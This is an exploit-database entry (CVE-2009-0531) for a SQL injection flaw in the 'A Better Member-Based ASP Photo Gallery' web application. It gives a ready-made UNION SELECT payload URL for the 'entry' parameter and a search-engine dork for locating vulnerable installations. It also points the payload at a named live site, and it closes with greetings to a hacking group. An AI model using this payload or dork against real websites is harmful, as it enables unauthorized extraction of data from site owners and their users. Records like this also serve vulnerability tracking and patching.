A Better Member-Based ASP Photo Gallery - 'entry' SQL Injection

Author: BackDoor
type: webapps
platform: php
port: 
date_added: 2009-02-08 
date_updated: 2017-02-08 
verified: 1 
codes: OSVDB-51989;CVE-2009-0531 
tags: 
aliases:  
screenshot_url:  
application_url:

Script:A Better Member-Based ASP Photo Gallery
Download:
http://www.ontarioabandonedplaces.com/ipguardian/ABetterMemberBasedASPPhotoGallery.zip
Demo:
www.ontarioabandonedplaces.com/ipguardian/gallery
Exploit:www.target.com/scriptpath/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos
Dork:intitle:"A Better ASP User Gallery"
Live Demo:
www.ontarioabandonedplaces.com/ipguardian/gallery/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos
BackDoordan Sevgilerle Thanks All Cyber-Warrior User : )
BackDoor Cyber-Warrior.Org - AkÄ±ncÄ±lar - Lojistik

# milw0rm.com [2009-02-09]